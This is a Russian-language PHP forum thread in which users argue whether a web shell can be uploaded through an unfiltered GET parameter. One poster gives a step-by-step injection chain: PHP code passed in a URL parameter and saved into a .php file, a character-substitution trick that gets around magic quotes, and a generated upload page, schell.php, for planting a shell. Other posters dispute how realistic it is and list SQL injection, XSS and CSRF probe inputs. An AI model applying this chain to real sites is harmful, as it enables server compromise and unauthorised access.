[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Как залить шелл?
Страницы: 1, 2
inpost
Медведь
Залей мне.
Свернутый текст
ссылочку верну как проснусь)

Все условия выполняются как у ТС в той теме. Есть $_GET параметр, который выводится на страницу через echo.
Залей мне файл shell.php

_____________
Обучаю веб-программированию качественно и не дорого: http://school-php.com
Фрилансер, принимаю заказы: PHP, JS, AS (видео-чаты). Писать в ЛС (Личные сообщения на phpforum).
Invis1ble
залей ему, залей ему полностью!
user posted image

_____________

Профессиональная разработка на заказ

Я на GitHub | второй профиль

Миша
inpost блин. При чём тут тот ТС. Меня зацепило просто вчера и накатал первое что в голову пришло, но при этом всё работает, если выполняются некоторые условия.

А работать будет если данные не фильтруются и сохраняются например в такой файл, с расширением php: (Если хорощо подумать, можно наверное ещё что накопать)


<?php
.....

?>

<html>
...

сюда сохранили наш код
...
</
html>



_____________
Принимаю заказы, писать в ЛС
Миша
Поэтапно:

Имеем (http://xxx.ru/index.php?test=), при этом знаем, что данные сохранятся в файл и кавычки экранируются вот так \"
(test - заменить)

Подставляем в дресную строку, переносы конечно убрать.

http://xxx.ru/index.php?

test=<?php
$test = $_GET[name];
$test1 = $_GET[name2];
$test2 = substr($test,1);
$test3 = $_GET[name3];
$test4 = 9;
$test5 = str_replace($test4, $test2, $test3);
file_put_contents($test1,$test5); ?>


Вствили, наживаем еnter, т.к. не можем использовать кавычки и сохранить шелл, то обходим.

Данные сохранились - открываем эту страницу и в конце адресной строки пишем ничего не меняя:



index.php?
name="
&name2=schell.php
&name3=<?php
$test1=$_FILES[9abc9][9tmp_name9]; $test2=9schell.php9; move_uploaded_file($test1,$test2); ?> <form enctype=9multipart/form-data9 action=9http://URL/schell.php9 method=9POST9><input type=9file9 name=9abc9><input type=9submit9 value=9загрузить файл9></form>


В итоге, в этом каталоге имеем файл schell.php, через который заливаем шелл.

inpost ещё раз, я не на что не претендую, но и пинать меня не надо. Конечно на каждом сайте не сработает, но найти такие можно. Иначе всё переломали бы уже ;)


При этом я нашёл вариант, как обойти Волшебные кавычки Попробуйте, если знаете другой способ покажите.

_____________
Принимаю заказы, писать в ЛС
Миша
Цитата (brevis @ 20.05.2015 - 01:48)
Короче можно расходиться, Медведь всех обманул.

Почему обманул? Кавычки обошли, форма и обработчик на сервере, заливайте что душа пожелает.

_____________
Принимаю заказы, писать в ЛС
brevis
Да вот кажется мне, что что-то ты не договариваешь...
Давай что бы уже окончательно все прояснить, расскажи пару моментов:

1. Каким должен быть файл http://xxx.ru/index.php
2. Цепочка вызовов, приводящая к появлению shell.php на сервере.

_____________
Чатик в телеге
Миша


_____________
Принимаю заказы, писать в ЛС
stump
Открыли клуб юных хакеров smile.gif

_____________
Трус не играет в хокей
Oyeme
Цитата (Медведь @ 20.05.2015 - 06:18)

schell - не слышал об этом новом английском слове
inpost
Медведь
Знаешь сколько инъекций связаны с адресной строкой?
Если на кавычку ' вылетает MySQL ошибка, а именно: index.php?page=' , то это уже sql-inj.
Если на странице написан echo $_GET['page'], то это xss-inj.
Если на странице не используется токен для форм, то это xsrf, и так далее(!).

ТС представил вниманию только одну уязвимость, это была XSS, о ней и идёт речь. Ты же придумал сказку, что в теории там может быть существовать некий file_put_contents (КОТОРЫЙ НИКТО НЕ ДЕЛАЕТ), на .php файл, который так же никто не делает.

Помнишь что я сказал в прошлой теме? Ты говоришь бред. Создавать отдельную тему глупо, потому что доказав тебе, что ты ничего не можешь сделать приведёт к тому, что ты скажешь: "медведь всё равно прав".

Напоминаю ссылку:
testing.school-php.com/index.php?test=tetet
Код абсолютно такой же как в ТОЙ теме, что кидал ТС. То есть выводилась переменная на страницу. Ты именно в той теме писал, что там можно залить shell, поэтому залей мне прям сейчас, или признайся, что ты был не прав и ничего нельзя сделать.

_____________
Обучаю веб-программированию качественно и не дорого: http://school-php.com
Фрилансер, принимаю заказы: PHP, JS, AS (видео-чаты). Писать в ЛС (Личные сообщения на phpforum).
Миша
Inpost, если один echo, то я сделать ничего не могу. Я же привел пример, как вообще можно залить шелл, видел, как в старом движке полагались на волшебные кавычки и вот к чему это приводит, кому интересно попробуйте отправить кавычку и получить ее в чистом виде. Что за мания, прав, виноват, ни тем ни другим себя не чувствую. А ьебе прндлагаю мир, хватит ругаться, в свою очередь постараюсь быть сдержанней.

_____________
Принимаю заказы, писать в ЛС
AllesKlar
Медведь
Всё ясно.
если есть такой сайт, где имеется инструкция file_put_contents('file.php', $data);
то это один из тех 3х сайтов во всем интернете.
Никто и никогда не будет писать скриптом данные в файл php

_____________
[продано копирайтерам]
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.